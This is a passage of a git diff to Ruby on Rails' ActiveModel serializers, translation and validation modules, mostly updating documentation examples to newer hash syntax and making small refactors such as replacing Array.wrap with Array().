+      # after the object's type. The default value for <tt>include_root_in_json</tt>
+      # option is +false+.
       #
       #   user = User.find(1)
       #   user.as_json
-      #   # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
-      #                   "created_at": "2006/08/01", "awesome": true} }
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #     "created_at" => "2006/08/01", "awesome" => true}
+      #
+      #   ActiveRecord::Base.include_root_in_json = true
       #
-      #   ActiveRecord::Base.include_root_in_json = false
       #   user.as_json
-      #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-      #         "created_at": "2006/08/01", "awesome": true}
+      #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
       #
-      # This behavior can also be achieved by setting the <tt>:root</tt> option to +false+ as in:
+      # This behavior can also be achieved by setting the <tt>:root</tt> option
+      # to +true+ as in:
       #
       #   user = User.find(1)
-      #   user.as_json(root: false)
-      #   # =>  {"id": 1, "name": "Konata Izumi", "age": 16,
-      #          "created_at": "2006/08/01", "awesome": true}
-      #
-      # The remainder of the examples in this section assume include_root_in_json is set to
-      # <tt>false</tt>.
+      #   user.as_json(root: true)
+      #   # => { "user" => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #                  "created_at" => "2006/08/01", "awesome" => true } }
       #
       # Without any +options+, the returned Hash will include all the model's
-      # attributes. For example:
+      # attributes.
       #
       #   user = User.find(1)
       #   user.as_json
-      #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-      #         "created_at": "2006/08/01", "awesome": true}
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true}
       #
-      # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the attributes
-      # included, and work similar to the +attributes+ method. For example:
+      # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit
+      # the attributes included, and work similar to the +attributes+ method.
       #
-      #   user.as_json(:only => [ :id, :name ])
-      #   # => {"id": 1, "name": "Konata Izumi"}
+      #   user.as_json(only: [:id, :name])
+      #   # => { "id" => 1, "name" => "Konata Izumi" }
       #
-      #   user.as_json(:except => [ :id, :created_at, :age ])
-      #   # => {"name": "Konata Izumi", "awesome": true}
+      #   user.as_json(except: [:id, :created_at, :age])
+      #   # => { "name" => "Konata Izumi", "awesome" => true }
       #
       # To include the result of some method calls on the model use <tt>:methods</tt>:
       #
-      #   user.as_json(:methods => :permalink)
-      #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-      #         "created_at": "2006/08/01", "awesome": true,
-      #         "permalink": "1-konata-izumi"}
+      #   user.as_json(methods: :permalink)
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "permalink" => "1-konata-izumi" }
       #
       # To include associations use <tt>:include</tt>:
       #
-      #   user.as_json(:include => :posts)
-      #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-      #         "created_at": "2006/08/01", "awesome": true,
-      #         "posts": [{"id": 1, "author_id": 1, "title": "Welcome to the weblog"},
-      #                   {"id": 2, author_id: 1, "title": "So I was thinking"}]}
+      #   user.as_json(include: :posts)
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "posts" => [ { "id" => 1, "author_id" => 1, "title" => "Welcome to the weblog" },
+      #   #                   { "id" => 2, "author_id" => 1, "title" => "So I was thinking" } ] }
       #
       # Second level and higher order associations work as well:
       #
-      #   user.as_json(:include => { :posts => {
-      #                                  :include => { :comments => {
-      #                                                :only => :body } },
-      #                                  :only => :title } })
-      #   # => {"id": 1, "name": "Konata Izumi", "age": 16,
-      #         "created_at": "2006/08/01", "awesome": true,
-      #         "posts": [{"comments": [{"body": "1st post!"}, {"body": "Second!"}],
-      #                    "title": "Welcome to the weblog"},
-      #                   {"comments": [{"body": "Don't think too hard"}],
-      #                    "title": "So I was thinking"}]}
+      #   user.as_json(include: { posts: {
+      #                              include: { comments: {
+      #                                             only: :body } },
+      #                              only: :title } })
+      #   # => { "id" => 1, "name" => "Konata Izumi", "age" => 16,
+      #   #      "created_at" => "2006/08/01", "awesome" => true,
+      #   #      "posts" => [ { "comments" => [ { "body" => "1st post!" }, { "body" => "Second!" } ],
+      #   #                     "title" => "Welcome to the weblog" },
+      #   #                   { "comments" => [ { "body" => "Don't think too hard" } ],
+      #   #                     "title" => "So I was thinking" } ] }
       def as_json(options = nil)
-        root = include_root_in_json
-        root = options[:root] if options.try(:key?, :root)
+        root = if options && options.key?(:root)
+          options[:root]
+        else
+          include_root_in_json
+        end
+
         if root
           root = self.class.model_name.element if root == true
           { root => serializable_hash(options) }
@@ -97,6 +100,40 @@ module ActiveModel
         end
       end
 
+      # Sets the model +attributes+ from a JSON string. Returns +self+.
+      #
+      #   class Person
+      #     include ActiveModel::Serializers::JSON
+      #
+      #     attr_accessor :name, :age, :awesome
+      #
+      #     def attributes=(hash)
+      #       hash.each do |key, value|
+      #         instance_variable_set("@#{key}", value)
+      #       end
+      #     end
+      #
+      #     def attributes
+      #       instance_values
+      #     end
+      #   end
+      #
+      #   json = { name: 'bob', age: 22, awesome:true }.to_json
+      #   person = Person.new
+      #   person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+      #   person.name            # => "bob"
+      #   person.age             # => 22
+      #   person.awesome         # => true
+      #
+      # The default value for +include_root+ is +false+. You can change it to
+      # +true+ if the given JSON string includes a single root node.
+      #
+      #   json = { person: { name: 'bob', age: 22, awesome:true } }.to_json
+      #   person = Person.new
+      #   person.from_json(json) # => #<Person:0x007fec5e7a0088 @age=22, @awesome=true, @name="bob">
+      #   person.name            # => "bob"
+      #   person.age             # => 22
+      #   person.awesome         # => true
       def from_json(json, include_root=include_root_in_json)
         hash = ActiveSupport::JSON.decode(json)
         hash = hash.values.first if include_root
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index d61d9d7119..cf742d0569 100644..100755
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/array/conversions'
 require 'active_support/core_ext/hash/conversions'
@@ -56,7 +55,7 @@ module ActiveModel
         end
 
         def serializable_collection
-          methods = Array.wrap(options[:methods]).map(&:to_s)
+          methods = Array(options[:methods]).map(&:to_s)
           serializable_hash.map do |name, value|
             name = name.to_s
             if methods.include?(name)
@@ -111,12 +110,18 @@ module ActiveModel
           end
         end
 
-        # TODO This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well.
+        # TODO: This can likely be cleaned up to simple use ActiveSupport::XmlMini.to_tag as well.
         def add_associations(association, records, opts)
           merged_options = opts.merge(options.slice(:builder, :indent))
           merged_options[:skip_instruct] = true
 
-          if records.is_a?(Enumerable)
+          [:skip_types, :dasherize, :camelize].each do |key|
+            merged_options[key] = options[key] if merged_options[key].nil? && !options[key].nil?
+          end
+
+          if records.respond_to?(:to_ary)
+            records = records.to_ary
+
             tag  = ActiveSupport::XmlMini.rename_key(association.to_s, options)
             type = options[:skip_types] ? { } : {:type => "array"}
             association_name = association.to_s.singularize
@@ -146,7 +151,7 @@ module ActiveModel
 
         def add_procs
           if procs = options.delete(:procs)
-            Array.wrap(procs).each do |proc|
+            Array(procs).each do |proc|
               if proc.arity == 1
                 proc.call(options)
               else
@@ -160,8 +165,8 @@ module ActiveModel
       # Returns XML representing the model. Configuration can be
       # passed through +options+.
       #
-      # Without any +options+, the returned XML string will include all the model's
-      # attributes. For example:
+      # Without any +options+, the returned XML string will include all the
+      # model's attributes.
       #
       #   user = User.find(1)
       #   user.to_xml
@@ -171,21 +176,45 @@ module ActiveModel
       #     <id type="integer">1</id>
       #     <name>David</name>
       #     <age type="integer">16</age>
-      #     <created-at type="datetime">2011-01-30T22:29:23Z</created-at>
+      #     <created-at type="dateTime">2011-01-30T22:29:23Z</created-at>
       #   </user>
       #
-      # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the attributes
-      # included, and work similar to the +attributes+ method.
+      # The <tt>:only</tt> and <tt>:except</tt> options can be used to limit the
+      # attributes included, and work similar to the +attributes+ method.
       #
       # To include the result of some method calls on the model use <tt>:methods</tt>.
       #
       # To include associations use <tt>:include</tt>.
       #
-      # For further documentation see activerecord/lib/active_record/serializers/xml_serializer.xml.
+      # For further documentation, see <tt>ActiveRecord::Serialization#to_xml</tt>
       def to_xml(options = {}, &block)
         Serializer.new(self, options).serialize(&block)
       end
 
+      # Sets the model +attributes+ from a JSON string. Returns +self+.
+      #
+      #   class Person
+      #     include ActiveModel::Serializers::Xml
+      #
+      #     attr_accessor :name, :age, :awesome
+      #
+      #     def attributes=(hash)
+      #       hash.each do |key, value|
+      #         instance_variable_set("@#{key}", value)
+      #       end
+      #     end
+      #
+      #     def attributes
+      #       instance_values
+      #     end
+      #   end
+      #
+      #   xml = { name: 'bob', age: 22, awesome:true }.to_xml
+      #   person = Person.new
+      #   person.from_xml(xml) # => #<Person:0x007fec5e3b3c40 @age=22, @awesome=true, @name="bob">
+      #   person.name          # => "bob"
+      #   person.age           # => 22
+      #   person.awesome       # => true
       def from_xml(xml)
         self.attributes = Hash.from_xml(xml).values.first
         self
diff --git a/activemodel/lib/active_model/test_case.rb b/activemodel/lib/active_model/test_case.rb
index 6328807ad7..5004855d56 100644
--- a/activemodel/lib/active_model/test_case.rb
+++ b/activemodel/lib/active_model/test_case.rb
@@ -1,16 +1,4 @@
 module ActiveModel #:nodoc:
   class TestCase < ActiveSupport::TestCase #:nodoc:
-    def with_kcode(kcode)
-      if RUBY_VERSION < '1.9'
-        orig_kcode, $KCODE = $KCODE, kcode
-        begin
-          yield
-        ensure
-          $KCODE = orig_kcode
-        end
-      else
-        yield
-      end
-    end
   end
 end
diff --git a/activemodel/lib/active_model/translation.rb b/activemodel/lib/active_model/translation.rb
index 6d64c81b5f..7a86701f73 100644
--- a/activemodel/lib/active_model/translation.rb
+++ b/activemodel/lib/active_model/translation.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/hash/reverse_merge'
-
 module ActiveModel
 
   # == Active Model Translation
@@ -43,15 +41,28 @@ module ActiveModel
     #
     # Specify +options+ with additional translating options.
     def human_attribute_name(attribute, options = {})
-      defaults = lookup_ancestors.map do |klass|
-        :"#{self.i18n_scope}.attributes.#{klass.model_name.i18n_key}.#{attribute}"
+      options   = { :count => 1 }.merge!(options)
+      parts     = attribute.to_s.split(".")
+      attribute = parts.pop
+      namespace = parts.join("/") unless parts.empty?
+      attributes_scope = "#{self.i18n_scope}.attributes"
+
+      if namespace
+        defaults = lookup_ancestors.map do |klass|
+          :"#{attributes_scope}.#{klass.model_name.i18n_key}/#{namespace}.#{attribute}"
+        end
+        defaults << :"#{attributes_scope}.#{namespace}.#{attribute}"
+      else
+        defaults = lookup_ancestors.map do |klass|
+          :"#{attributes_scope}.#{klass.model_name.i18n_key}.#{attribute}"
+        end
       end
 
       defaults << :"attributes.#{attribute}"
       defaults << options.delete(:default) if options[:default]
-      defaults << attribute.to_s.humanize
+      defaults << attribute.humanize
 
-      options.reverse_merge! :count => 1, :default => defaults
+      options[:default] = defaults
       I18n.translate(defaults.shift, options)
     end
   end
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 8ed392abca..4762f39044 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -1,6 +1,4 @@
 require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/hash/except'
 require 'active_model/errors'
@@ -34,17 +32,16 @@ module ActiveModel
   #   person.first_name = 'zoolander'
   #   person.valid?                   # => false
   #   person.invalid?                 # => true
-  #   person.errors                   # => #<OrderedHash {:first_name=>["starts with z."]}>
-  #
-  # Note that <tt>ActiveModel::Validations</tt> automatically adds an +errors+ method
-  # to your instances initialized with a new <tt>ActiveModel::Errors</tt> object, so
-  # there is no need for you to do this manually.
+  #   person.errors.messages          # => {:first_name=>["starts with z."]}
   #
+  # Note that <tt>ActiveModel::Validations</tt> automatically adds an +errors+
+  # method to your instances initialized with a new <tt>ActiveModel::Errors</tt>
+  # object, so there is no need for you to do this manually.
   module Validations
     extend ActiveSupport::Concern
-    include ActiveSupport::Callbacks
 
     included do
+      extend ActiveModel::Callbacks
       extend ActiveModel::Translation
 
       extend  HelperMethods
@@ -65,27 +62,27 @@ module ActiveModel
       #
       #     attr_accessor :first_name, :last_name
       #
-      #     validates_each :first_name, :last_name do |record, attr, value|
+      #     validates_each :first_name, :last_name, allow_blank: true do |record, attr, value|
       #       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
       #     end
       #   end
       #
       # Options:
       # * <tt>:on</tt> - Specifies the context where this validation is active
-      #   (e.g. <tt>:on => :create</tt> or <tt>:on => :custom_validation_context</tt>)
+      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
       # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
       # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
       # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
-      #   if the validation should occur (e.g. <tt>:if => :allow_validation</tt>,
-      #   or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The method,
-      #   proc or string should return or evaluate to a true or false value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should
-      #   not occur (e.g. <tt>:unless => :skip_validation</tt>, or
-      #   <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false value.
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
       def validates_each(*attr_names, &block)
-        options = attr_names.extract_options!.symbolize_keys
-        validates_with BlockValidator, options.merge(:attributes => attr_names.flatten), &block
+        validates_with BlockValidator, _merge_attributes(attr_names), &block
       end
 
       # Adds a validation method or block to the class. This is useful when
@@ -100,7 +97,7 @@ module ActiveModel
       #     validate :must_be_friends
       #
       #     def must_be_friends
-      #       errors.add(:base, "Must be friends to leave a comment") unless commenter.friend_of?(commentee)
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
       #     end
       #   end
       #
@@ -114,7 +111,7 @@ module ActiveModel
       #     end
       #
       #     def must_be_friends
-      #       errors.add(:base, "Must be friends to leave a comment") unless commenter.friend_of?(commentee)
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
       #     end
       #   end
       #
@@ -124,15 +121,29 @@ module ActiveModel
       #     include ActiveModel::Validations
       #
       #     validate do
-      #       errors.add(:base, "Must be friends to leave a comment") unless commenter.friend_of?(commentee)
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
       #     end
       #   end
       #
+      # Options:
+      # * <tt>:on</tt> - Specifies the context where this validation is active
+      #   (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
       def validate(*args, &block)
         options = args.extract_options!
         if options.key?(:on)
           options = options.dup
-          options[:if] = Array.wrap(options[:if])
+          options[:if] = Array(options[:if])
           options[:if].unshift("validation_context == :#{options[:on]}")
         end
         args << options
@@ -141,38 +152,121 @@ module ActiveModel
 
       # List all validators that are being used to validate the model using
       # +validates_with+ method.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     validates_with MyValidator
+      #     validates_with OtherValidator, on: :create
+      #     validates_with StrictValidator, strict: true
+      #   end
+      #
+      #   Person.validators
+      #   # => [
+      #   #      #<MyValidator:0x007fbff403e808 @options={}>,
+      #   #      #<OtherValidator:0x007fbff403d930 @options={:on=>:create}>,
+      #   #      #<StrictValidator:0x007fbff3204a30 @options={:strict=>true}>
+      #   #    ]
       def validators
         _validators.values.flatten.uniq
       end
 
-      # List all validators that being used to validate a specific attribute.
+      # List all validators that are being used to validate a specific attribute.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     attr_accessor :name , :age
+      #
+      #     validates_presence_of :name
+      #     validates_inclusion_of :age, in: 0..99
+      #   end
+      #
+      #   Person.validators_on(:name)
+      #   # => [
+      #   #       #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
+      #   #       #<ActiveModel::Validations::InclusionValidator:0x007fe603bb8780 @attributes=[:age], @options={:in=>0..99}>
+      #   #    ]
       def validators_on(*attributes)
         attributes.map do |attribute|
           _validators[attribute.to_sym]
         end.flatten
       end
 
-      # Check if method is an attribute method or not.
+      # Returns +true+ if +attribute+ is an attribute method, +false+ otherwise.
+      #
+      #  class Person
+      #    include ActiveModel::Validations
+      #
+      #    attr_accessor :name
+      #  end
+      #
+      #  User.attribute_method?(:name) # => true
+      #  User.attribute_method?(:age)  # => false
       def attribute_method?(attribute)
         method_defined?(attribute)
       end
 
       # Copy validators on inheritance.
-      def inherited(base)
+      def inherited(base) #:nodoc:
         dup = _validators.dup
         base._validators = dup.each { |k, v| dup[k] = v.dup }
         super
       end
     end
 
-    # Returns the +Errors+ object that holds all information about attribute error messages.
+    # Clean the +Errors+ object if instance is duped.
+    def initialize_dup(other) #:nodoc:
+      @errors = nil
+      super
+    end
+
+    # Returns the +Errors+ object that holds all information about attribute
+    # error messages.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.valid? # => false
+    #   person.errors # => #<ActiveModel::Errors:0x007fe603816640 @messages={:name=>["can't be blank"]}>
     def errors
       @errors ||= Errors.new(self)
     end
 
-    # Runs all the specified validations and returns true if no errors were added
-    # otherwise false. Context can optionally be supplied to define which callbacks
-    # to test against (the context is defined on the validations using :on).
+    # Runs all the specified validations and returns +true+ if no errors were
+    # added otherwise +false+.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = ''
+    #   person.valid? # => false
+    #   person.name = 'david'
+    #   person.valid? # => true
+    #
+    # Context can optionally be supplied to define which callbacks to test
+    # against (the context is defined on the validations using <tt>:on</tt>).
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name, on: :new
+    #   end
+    #
+    #   person = Person.new
+    #   person.valid?       # => true
+    #   person.valid?(:new) # => false
     def valid?(context = nil)
       current_context, self.validation_context = validation_context, context
       errors.clear
@@ -181,8 +275,35 @@ module ActiveModel
       self.validation_context = current_context
     end
 
-    # Performs the opposite of <tt>valid?</tt>. Returns true if errors were added,
-    # false otherwise.
+    # Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
+    # added, +false+ otherwise.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = ''
+    #   person.invalid? # => true
+    #   person.name = 'david'
+    #   person.invalid? # => false
+    #
+    # Context can optionally be supplied to define which callbacks to test
+    # against (the context is defined on the validations using <tt>:on</tt>).
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name, on: :new
+    #   end
+    #
+    #   person = Person.new
+    #   person.invalid?       # => false
+    #   person.invalid?(:new) # => true
     def invalid?(context = nil)
       !valid?(context)
     end
@@ -203,12 +324,11 @@ module ActiveModel
     #       @data[key]
     #     end
     #   end
-    #
     alias :read_attribute_for_validation :send
 
   protected
 
-    def run_validations!
+    def run_validations! #:nodoc:
       run_callbacks :validate
       errors.empty?
     end
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index e628c6f306..8d5ebf527f 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -2,9 +2,9 @@ module ActiveModel
 
   # == Active Model Acceptance Validator
   module Validations
-    class AcceptanceValidator < EachValidator
+    class AcceptanceValidator < EachValidator #:nodoc:
       def initialize(options)
-        super(options.reverse_merge(:allow_nil => true, :accept => "1"))
+        super({ :allow_nil => true, :accept => "1" }.merge!(options))
       end
 
       def validate_each(record, attribute, value)
@@ -23,11 +23,11 @@ module ActiveModel
 
     module HelperMethods
       # Encapsulates the pattern of wanting to validate the acceptance of a
-      # terms of service check box (or similar agreement). Example:
+      # terms of service check box (or similar agreement).
       #
       #   class Person < ActiveRecord::Base
       #     validates_acceptance_of :terms_of_service
-      #     validates_acceptance_of :eula, :message => "must be abided"
+      #     validates_acceptance_of :eula, message: "must be abided"
       #   end
       #
       # If the database column does not exist, the +terms_of_service+ attribute
@@ -37,29 +37,17 @@ module ActiveModel
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "must be
       #   accepted").
-      # * <tt>:on</tt> - Specifies when this validation is active. Runs in all
-      #   validation contexts by default (+nil+), other options are <tt>:create</tt>
-      #   and <tt>:update</tt>.
       # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
-      #   is true).
+      #   is +true+).
       # * <tt>:accept</tt> - Specifies value that is considered accepted.
       #   The default value is a string "1", which makes it easy to relate to
       #   an HTML checkbox. This should be set to +true+ if you are validating
       #   a database column, since the attribute is typecast from "1" to +true+
       #   before validation.
-      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
-      #   if the validation should occur (e.g. <tt>:if => :allow_validation</tt>,
-      #   or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The
-      #   method, proc or string should return or evaluate to a true or false
-      #   value.
-      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
-      #   determine if the validation should not occur (for example,
-      #   <tt>:unless => :skip_validation</tt>, or
-      #   <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>).
-      #   The method, proc or string should return or evaluate to a true or
-      #   false value.
-      # * <tt>:strict</tt> - Specifies whether validation should be strict. 
-      #   See <tt>ActiveModel::Validation#validates!</tt> for more information
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+ and +:strict+.
+      # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_acceptance_of(*attr_names)
         validates_with AcceptanceValidator, _merge_attributes(attr_names)
       end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index 22a77320dc..bf3fe7ff04 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -2,45 +2,96 @@ require 'active_support/callbacks'
 
 module ActiveModel
   module Validations
+    # == Active Model Validation callbacks
+    #
+    # Provides an interface for any class to have +before_validation+ and
+    # +after_validation+ callbacks.
+    #
+    # First, include ActiveModel::Validations::Callbacks from the class you are
+    # creating:
+    #
+    #   class MyModel
+    #     include ActiveModel::Validations::Callbacks
+    #
+    #     before_validation :do_stuff_before_validation
+    #     after_validation  :do_stuff_after_validation
+    #   end
+    #
+    # Like other <tt>before_*</tt> callbacks if +before_validation+ returns
+    # +false+ then <tt>valid?</tt> will not be called.
     module Callbacks
-      # == Active Model Validation callbacks
-      #
-      # Provides an interface for any class to have <tt>before_validation</tt> and
-      # <tt>after_validation</tt> callbacks.
-      #
-      # First, extend ActiveModel::Callbacks from the class you are creating:
-      #
-      #   class MyModel
-      #     include ActiveModel::Validations::Callbacks
-      #
-      #     before_validation :do_stuff_before_validation
-      #     after_validation  :do_stuff_after_validation
-      #   end
-      #
-      #   Like other before_* callbacks if <tt>before_validation</tt> returns false
-      #   then <tt>valid?</tt> will not be called.
       extend ActiveSupport::Concern
 
       included do
         include ActiveSupport::Callbacks
-        define_callbacks :validation, :terminator => "result == false", :scope => [:kind, :name]
+        define_callbacks :validation, :terminator => "result == false", :skip_after_callbacks_if_terminated => true, :scope => [:kind, :name]
       end
 
       module ClassMethods
+        # Defines a callback that will get called right before validation
+        # happens.
+        #
+        #   class Person
+        #     include ActiveModel::Validations
+        #     include ActiveModel::Validations::Callbacks
+        #
+        #     attr_accessor :name
+        #
+        #     validates_length_of :name, maximum: 6
+        #
+        #     before_validation :remove_whitespaces
+        #
+        #     private
+        #
+        #     def remove_whitespaces
+        #       name.strip!
+        #     end
+        #   end
+        #
+        #   person = Person.new
+        #   person.name = '  bob  '
+        #   person.valid? # => true
+        #   person.name   # => "bob"
         def before_validation(*args, &block)
           options = args.last
           if options.is_a?(Hash) && options[:on]
-            options[:if] = Array.wrap(options[:if])
+            options[:if] = Array(options[:if])
             options[:if].unshift("self.validation_context == :#{options[:on]}")
           end
           set_callback(:validation, :before, *args, &block)
         end
 
+        # Defines a callback that will get called right after validation
+        # happens.
+        #
+        #   class Person
+        #     include ActiveModel::Validations
+        #     include ActiveModel::Validations::Callbacks
+        #
+        #     attr_accessor :name, :status
+        #
+        #     validates_presence_of :name
+        #
+        #     after_validation :set_status
+        #
+        #     private
+        #
+        #     def set_status
+        #       self.status = errors.empty?
+        #     end
+        #   end
+        #
+        #   person = Person.new
+        #   person.name = ''
+        #   person.valid? # => false
+        #   person.status # => false
+        #   person.name = 'bob'
+        #   person.valid? # => true
+        #   person.status # => true
         def after_validation(*args, &block)
           options = args.extract_options!
           options[:prepend] = true
-          options[:if] = Array.wrap(options[:if])
-          options[:if] << "!halted"
+          options[:if] = Array(options[:if])
           options[:if].unshift("self.validation_context == :#{options[:on]}") if options[:on]
           set_callback(:validation, :after, *(args << options), &block)
         end
@@ -49,7 +100,7 @@ module ActiveModel
     protected
 
       # Overwrite run validations to include callbacks.
-      def run_validations!
+      def run_validations! #:nodoc:
         run_callbacks(:validation) { super }
       end
     end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
new file mode 100644
index 0000000000..643a6f2b7c
--- /dev/null
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -0,0 +1,34 @@
+require 'active_support/core_ext/range.rb'
+
+module ActiveModel
+  module Validations
+    module Clusivity #:nodoc:
+      ERROR_MESSAGE = "An object with the method #include? or a proc or lambda is required, " <<
+                      "and must be supplied as the :in (or :within) option of the configuration hash"
+
+      def check_validity!
+        unless [:include?, :call].any?{ |method| delimiter.respond_to?(method) }
+          raise ArgumentError, ERROR_MESSAGE
+        end
+      end
+
+    private
+
+      def include?(record, value)
+        exclusions = delimiter.respond_to?(:call) ? delimiter.call(record) : delimiter
+        exclusions.send(inclusion_method(exclusions), value)
+      end
+
+      def delimiter
+        @delimiter ||= options[:in] || options[:within]
+      end
+
+      # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
+      # range for equality, so it may be slow for large ranges. The new <tt>Range#cover?</tt>
+      # uses the previous logic of comparing a value with the range endpoints.
+      def inclusion_method(enumerable)
+        enumerable.is_a?(Range) ? :cover? : :include?
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index 6573a7d264..baa034eca6 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -2,10 +2,11 @@ module ActiveModel
 
   # == Active Model Confirmation Validator
   module Validations
-    class ConfirmationValidator < EachValidator
+    class ConfirmationValidator < EachValidator #:nodoc:
       def validate_each(record, attribute, value)
         if (confirmed = record.send("#{attribute}_confirmation")) && (value != confirmed)
-          record.errors.add(attribute, :confirmation, options)
+          human_attribute_name = record.class.human_attribute_name(attribute)
+          record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(:attribute => human_attribute_name))
         end
       end
 
@@ -18,13 +19,13 @@ module ActiveModel
 
     module HelperMethods
       # Encapsulates the pattern of wanting to validate a password or email
-      # address field with a confirmation. For example:
+      # address field with a confirmation.
       #
       #   Model:
       #     class Person < ActiveRecord::Base
       #       validates_confirmation_of :user_name, :password
       #       validates_confirmation_of :email_address,
-      #                                 :message => "should match confirmation"
+      #                                 message: 'should match confirmation'
       #     end
       #
       #   View:
@@ -37,29 +38,18 @@ module ActiveModel
       # attribute.
       #
       # NOTE: This check is performed only if +password_confirmation+ is not
-      # +nil+, and by default only on save. To require confirmation, make sure
-      # to add a presence check for the confirmation attribute:
+      # +nil+. To require confirmation, make sure to add a presence check for
